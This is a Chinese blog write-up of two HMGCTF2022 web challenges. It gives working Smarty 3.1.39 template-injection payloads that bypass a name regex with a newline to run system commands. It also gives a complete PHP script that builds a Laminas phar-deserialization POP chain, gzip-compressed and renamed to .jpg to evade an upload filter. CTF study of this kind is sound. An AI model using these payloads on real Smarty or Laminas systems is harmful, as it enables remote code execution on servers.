BUU hmgctf(复现)

BUU hmgctf(复现)

没发现有这个比赛,看看buu复现一波

[HMGCTF2022]Smarty Calculator

www.zip直接下载源码。

if(isset($_POST['data'])){
  if(isset($_COOKIE['login'])) {
      $data = waf($_POST['data']);
      echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";
      $smarty->display("string:" . $data);
  }else{
      echo "<script>alert(\"你还没有登录\")</script>";
  }
}

可以发现一个简单过滤的smarty注入,设置一下cookie。但是似乎情况不太对。用{if}注不了。然后输出一波smarty版本:

data={$smarty.version}

显示为3.1.39。然后谷歌了一下,似乎没有现成的exp。但是可以看到github更新日志:


修复了一个rce漏洞。谷歌可以搜到利用exp:

{function+name='rce(){};system("id");function+'}{/function}

很明显,这个用不了。本地搭建一下debug看看发生了什么。报了一个错误:


全局搜索一下在哪里报的:

if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {
            $compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);
        }

有个正则,检测name的值。估计绕过这个正则说不定就能rce。


一个回车就能绕过。尝试一下:

data={function+name='rce(){};system("id");%0afunction+'}{/function}

成功rce。绕过flag,直接通配符就行:

data={function+name='rce(){};system("cat+/*");%0afunction+'}{/function}

[HMGCTF2022]Fan Website

不管太多,直接先下载源码:www.zip。一个奇怪的框架(没见过),找了半天才找到控制器。在module/Album/src/Controller/AlbumController.php下可以看到album控制器。直接/album就能看到。然后分析action函数的触发方式,类似thinkphp的方式触发。关键函数:

public function imguploadAction()
    {
        $form = new UploadForm('upload-form');

        $request = $this->getRequest();
        if ($request->isPost()) {
            // Make certain to merge the $_FILES info!
            $post = array_merge_recursive(
                $request->getPost()->toArray(),
                $request->getFiles()->toArray()
            );

            $form->setData($post);
            if ($form->isValid()) {
                $data = $form->getData();
                $base = substr($data["image-file"]["name"],-4,4);
                if(in_array($base,$this->white_list)){   //白名单限制
                    $cont = file_get_contents($data["image-file"]["tmp_name"]);
                    if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
                        die("Not This");
                    }
                    if($data["image-file"]["size"]<3000){
                        die("The picture size must be more than 3kb");
                    }
                    $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
                    echo $img_path;
                    $form->saveImg($data["image-file"]["tmp_name"],$img_path);
                }else{
                    echo 'Only Img Can Be Uploaded!';
                }
                // Form is valid, save the form!
                //return $this->redirect()->toRoute('upload-form/success');
            }
        }

        return ['form' => $form];
    }

文件上传,后缀限制,大小需要3kb以上,而且文件名不可控。

public function imgdeleteAction()
    {
        $request = $this->getRequest();
        if(isset($request->getPost()['imgpath'])){
            $imgpath = $request->getPost()['imgpath'];
            $base = substr($imgpath,-4,4);
            if(in_array($base,$this->white_list)){     //白名单
                @unlink($imgpath);
            }else{
                echo 'Only Img File Can Be Deleted!';
            }
        }
    }

删除文件操作,看到路径怀疑可以phar,然后有个unlink。这个unlink可以触发phar。


所以直接搞一手phar。找链子。
全局搜索__destruct,在Logger.php

public function __destruct()
    {
        foreach ($this->writers as $writer) {
            try {
                $writer->shutdown();
            } catch (\Exception $e) {
            }
        }
    }

明显全局搜索shutdown看看有没有利用点。在Mail.php

public function shutdown()
    {
        // If there are events to mail, use them as message body.  Otherwise,
        // there is no mail to be sent.
        if (empty($this->eventsToMail)) {
            return;
        }

        if ($this->subjectPrependText !== null) {
            // Tack on the summary of entries per-priority to the subject
            // line and set it on the Laminas\Mail object.
            $numEntries = $this->getFormattedNumEntriesPerPriority();
            $this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");
        }

        // Always provide events to mail as plaintext.
        $this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));

        // Finally, send the mail.  If an exception occurs, convert it into a
        // warning-level message so we can avoid an exception thrown without a
        // stack frame.
        try {
            $this->transport->send($this->mail);
        } catch (TransportException\ExceptionInterface $e) {
            trigger_error(
                "unable to send log entries via email; " .
                "message = {$e->getMessage()}; " .
                "code = {$e->getCode()}; " .
                "exception class = " . get_class($e),
                E_USER_WARNING
            );
        }
    }

$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));可以触发__call,而且参数可控。全局搜索__call,在PhpRenderer.php:

public function __call($method, $argv)
    {
        $plugin = $this->plugin($method);

        if (is_callable($plugin)) {
            return call_user_func_array($plugin, $argv);
        }

        return $plugin;
    }

然后看看这个plugin是否可控。

public function plugin($name, array $options = null)
    {
        return $this->getHelperPluginManager()->get($name, $options);
    }

getHelperPluginManager()

public function getHelperPluginManager()
    {
        if (null === $this->__helpers) {
            $this->setHelperPluginManager(new HelperPluginManager(new ServiceManager()));
        }
        return $this->__helpers;
    }

这个__helpers可控,所以全局搜一波get函数。在BaseInputFilter.php

public function get($name)
    {
        if (! array_key_exists($name, $this->inputs)) {
            throw new Exception\InvalidArgumentException(sprintf(
                '%s: no input found matching "%s"',
                __METHOD__,
                $name
            ));
        }
        return $this->inputs[$name];
    }

所以最终导致plugin可控。然后直接触发call_user_func_array($plugin, $argv);
最终pop:Logger->Mail->PhpRenderer(其中里面的plugin需要BaseInputFilter进行控制)
但是还需要绕过

if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
                        die("Not This");
                    }

然后根据wp,直接用gzip压缩即可绕过。最终exp:

<?php
namespace Laminas\Log{

    use Laminas\Log\Writer\Mail;

    class Logger{
        protected $writers;

        public function __construct()
        {
            $this->writers = array(new Mail());
        }
    }
}

namespace Laminas\Log\Writer{

    use Laminas\View\Renderer\PhpRenderer;

    class Mail{
        protected $eventsToMail = [];
        protected $mail;

        public function __construct()
        {
            $this->eventsToMail = array("cat /flag");
            $this->mail = new PhpRenderer();;
        }
    }
}

namespace Laminas\View\Renderer{

    use Laminas\InputFilter\BaseInputFilter;

    class PhpRenderer{
        private $__helpers;

        public function __construct()
        {
            $this->__helpers = new BaseInputFilter();
        }
    }
}

namespace Laminas\InputFilter{
    class BaseInputFilter{
        protected $inputs = [];

        public function __construct()
        {
            $this->inputs = array("setBody" => "system");
        }
    }
}

namespace{

    use Laminas\Log\Logger;
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Logger();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", file_get_contents("test.txt")); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    system("gzip phar.phar");
    rename("phar.phar.gz", "phar.jpg");
}

其中test.txt是一个3mb的文件,用linux直接生成:

truncate -s 3M test.txt
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇